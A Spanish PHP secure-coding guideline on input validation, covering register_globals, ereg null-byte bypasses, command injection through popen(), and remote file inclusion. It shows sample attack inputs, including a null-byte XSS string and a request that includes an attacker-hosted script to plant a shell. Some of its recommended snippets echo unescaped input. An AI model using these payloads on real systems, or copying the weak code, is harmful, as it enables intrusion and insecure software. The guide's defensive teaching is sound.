Pautas sobre la validación de datos

LIBP-0112 (Libro de pautas)

Independientemente del lenguaje de programación utilizado, la validación de los datos de entrada de una aplicación es un aspecto básico dentro de la seguridad de aplicaciones. Es necesario implementar mecanismos que aseguren la validez de los datos que entran y se devuelven desde una aplicación. Hay que asegurar que:

  • Que los procesos de filtrado de datos no pueden evitarse
  • Que no pueden interpretarse datos inválidos como si fueran datos validos
  • Que se identifica el origen de los datos

Pautas

TítuloCarácter
Evitar el uso de register_globalsObligatoria
Utilizar expresiones regulares basadas en PERL para validar los datosRecomendada
Hacer uso de las funciones existentes en PHP para el filtradoObligatoria
Vigilar las llamadas a programas externosRecomendada
Evitar la inclusión de ficheros sin controlarObligatoria
Validar el tipo de datos, el formato y el tamaño de los valores de entradaObligatoria

Evitar el uso de register_globals

Tradicionalmente PHP venia preconfigurado con este valor habilitado, pero se recomienda prescindir de esta posibilidad

La directiva register_globals estaba activa por defecto en las primeras versiones de PHP. Antiguamente era una ventaja para los desarrolladores que utilizaban el hecho de la globalización sin atender a la calidad de las fuentes. En particular se introducían valores en los arrays $_POST, $_COOKIE y $_GET sin ser necesariamente asignados a variables locales. Un ejemplos sería el script siguiente:

<?php
// set admin flag
if ( $auth->isAdmin() ){
   $admin = TRUE;
}
// ...
if ( $admin ) {
// do administrative tasks
}
?>

A primera vista, el código parece razonable , en un entorno conservador es técnicamente seguro. Pero si register_globals esta activo, entonces la aplicación puede ser muy vulnerable a cualquier usuario que añada la cadena ?admin=1 al URI. Una versión mas segura sería la siguiente, que pone la variable a Falso por defecto antes de usarla.

<?php
// create then set admin flag
$admin = FALSE;
if ( $auth->isAdmin() ){
  $admin = TRUE;
}

if ( $admin ) {
    // do administrative tasks
}
?>

Si PHP está configurado para registrar las variables externas con alcance global (globals on en la configuración general PHP), no tendrá forma de distinguirlas de las variables internas, y tanto unas como otras estarán automáticamente disponibles para su uso. Y esto puede ser un problema. Un visitante de la página podría crear cualquier variable, o pasar cualquier valor, y no solamente a aquellas variables pensadas para tomar su valor del usuario, sino a todas las variables. Si no se filtran cuidadosamente la entrada de datos, puede ver comprometida la seguridad del sistema.

En el archivo de configuración de php (php.ini) se puede ordenar a PHP, mediante la directiva register_globals, que registre (o no) como globales las variables EGPCS, es decir, aquellas variables externas que vienen del entorno -Environment-, o via GET, POST, Cookie y Server. Con globals en off, PHP no crea variables externas globales, lo que supone eliminar la vía de ataque mas habitual, al impedir al atacante que inyecte sus propias variables con alcance global.

Utilizar expresiones regulares basadas en PERL para validar los datos

Las expresiones regulares basadas en PERL (PCRE) son seguras con respecto a los ataques XSS

Una de las herramientas más valiosas eran las expresiones regulares de PHP (POSIX). Estas funciones tienen un aviso en la documentación de PHP. Este aviso decía y dice:" Aviso Estas expresiones regulares no son seguras con material binario". La interpretación de este aviso es la siguiente, con el ejemplo

<?php

$key = "123456" . chr(0) . "<script>alert('XSS')</script>";
if(!ereg('^[0-9]{1,6}$', $key)){
   echo "ERROR: El valor proporcionado no es un número de 1 a 6 dígitos";
}
else{
   echo $key;
}

?>

Se muestra un fragmento de código PHP en el que se va a comprobar que se proporciona un número de 1 a 6 dígitos a partir de una comprobación basada en expresión regular. Si se analiza el código, se observa que no se ha introducido la variable key como un número, sino que se ha concatenado un código binario nulo chr(0) y a continuación una porción de código JavaScript. El resultado esperado es que la expresión regular detectara el no cumplimiento del patrón y se mostrara el mensaje de error, sin embargo el resultado no es este. Debido al carácter nulo que se ha añadido tras el número, y a que la función ereg no es segura con material binario, se cumple la expresión regular, por lo que se muestra su contenido. Es vulnerable a las expresiones regulares. Esto permite ataques del tipo XSS. Las expresiones regulares basadas en PERL (PCRE) son seguras con respecto a este aspecto.

Hacer uso de las funciones existentes en PHP para el filtrado

En todas las aplicaciones incluso en una poco compleja, debe enumerar de forma explícita las variables que se espera recibir en la entrada, y copiarlas en la matriz de GPC mediante programación en lugar de realizarlo manualmente, con una rutina de parecida a esta:

<?php
$expected = array( 'carModel', 'year', 'bodyStyle' );
foreach( $expected AS $key ) {
  if ( !empty( $_POST[ $key ] ) ) {
    ${$key} = $_POST[ $key ];
  }
  else {
    ${$key} = NULL;
  }
}
?>

Después de enumerar las variables que se esperan en una matriz, se recorren a través de ellos con un bucle foreach () , obteniendo un valor fuera de la matriz $ _POST para cada variable que existe en él. Usamos los $($key) para asignar a cada valor a una variable llamada por el valor actual de esa clave (así, por ejemplo, cuando $Key está señalando el valor de matriz año, la asignación crea una variable $año que contiene el valor de la matriz $ _POST contenida en el año). Con una rutina como esta, es fácil especificar diferentes conjuntos previstos para los diferentes contextos. A fin de garantizar las interfaces, aquí se añade otra variable a la matriz, si se encuentra en un contexto administrativo

<?php
// user interface
$expected = array( 'carModel', 'year', 'bodyStyle' );
// administrator interface
if ( $admin ) {
  $expected[] = 'profit';
}
foreach( $expected AS $key ) {
 if ( !empty( $_POST[ $key ] ) ) {
  ${$key} = $_POST[ $key ];
 }
 else {
  ${$key} = NULL;
 }
}
?>

Vigilar las llamadas a programas externos

Uno de los ejemplos mas claros del daño que se produce por la no validación de los datos de entrada es probablemente, la ejecución de programas externos con nombres o argumentos específicos del usuario.

Claramente, una llamada como system($userinput) es insegura porque permite al usuario ejecutar arbitrariamente comandos en el host. De la misma manera, una llamada como exec("someprog", $userargs) es también insegura porque el usuario puede substituir caracteres que tengan especial significado para el compilador. La aparición de las comillas en los argumentos para la instancia puede significar el final del primer comando y el comienzo del siguiente. Como PHP siempre pasa estas cadenas al compilador, es siempre peligroso. Esto incluye a las llamadas a system(), exec(), popen(), backticks, etc.

El siguiente ejemplo muestra una llamada insegura a popen():

function Send($sendmail = "/usr/sbin/sendmail") {
  if ($this->form == "") {
   $fp = popen ($sendmail."-i".$this->to, "w");
  }
  else {
   $fp = popen ($sendmail."-i -f".
          $this->from." ".$this->to, "w");
  }
 }

La variable $this->from viene directamente desde el campo del formulario, donde se están enviando el tipo de mensajes con su dirección de correo. Como la entrada no es validada, el usuario puede modificar este dato introduciendo cualquier otra información.

Evitar la inclusión de ficheros sin controlar

Es recomendable configurar correctamente PHP para evitar la inclusión de ficheros sin control

PHP generaliza el concepto de un fichero que incluye una URL para diferentes propósitos. Una manera de hacerlo es de la siguiente:

include ("http://some.site.com/some_script.php");

Esto es potencialmente peligroso, dado que el sitio remoto puede estar comprometido o la conexión por red controlada. En cualquier caso, se esta inyectando código desconocido con cualquier include() de este tipo. Es recomendable evitar este tipo de funciones. con la directiva de configuración allow_url_fopen que puede controlar el comportamiento.

Por ejemplo, si existe un archivo en la ruta "http://example.com/malice.php" y un script se encuentra en "http://site.com/index.php". Un atacante puede hacer esta petición: "http://site.com/index.php?page=http://example.com/malice" lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

Validar el tipo de datos, el formato y el tamaño de los valores de entrada

Cuando se le ofrece a un usuario la posibilidad de presentar algún tipo de valor a través de un formulario,tiene la considerable ventaja de saber de antemano qué tipo de entrada que debería estar recibiendo. Esto debería hacer que fuera relativamente fácil de llevar a cabo una sencilla comprobación de la validez del dato entrada, comprobando si es del tipo esperado, la longitud y el formato del mismo

Para comprobar los tipos de datos existen un conjunto de funciones definidas en PHP que permiten verificar que un dato es del tipo especificado, como por ejemplo:

is_string()
is_int()
is_integer()
is_long()
is_bool()
....

Cuando se comprueba la longitud de la entrada del usuario, se puede evitar el desbordamiento del búfer y los ataques de negación de los servicios. La longitud de una cadena se puede comprobar con strlen (), que cuenta el número de caracteres en una cadena.

Imaginemos el ejemplo de un año, dado que los valores del año debe ser exactamente 4 caracteres, recibiendo una respuesta de ochenta y nueve caracteres un mensaje para un valor de año debería sugerir que algo está mal. El valor de longitud se puede fácil de comprobar, por ejemplo

if ( strlen( $year ) != 4 ) exit ( "$year el valor es invalido para un año!" );

Más allá de tipo de variable y la longitud, a veces es importante comprobar el formato de la valores proporcionados por el usuario. En sentido estricto, una dirección de correo electrónico o una cadena de fecha no es un tipo de valor. Ambos se tratan como un tipo cadena. Pero hay un formato especial, utilizado por cada uno de esos ejemplos, y es importante validar contra ese formato para garantizar que su aplicación se ejecuta sin problemas y con seguridad.

Desde el punto de vista de seguridad, los formatos tienden a ser más importante cuando se pasa los valores de PHP a otras aplicaciones, tales como una base de datos o sistemas subyacentes, como el sistema de archivos o correo de transporte.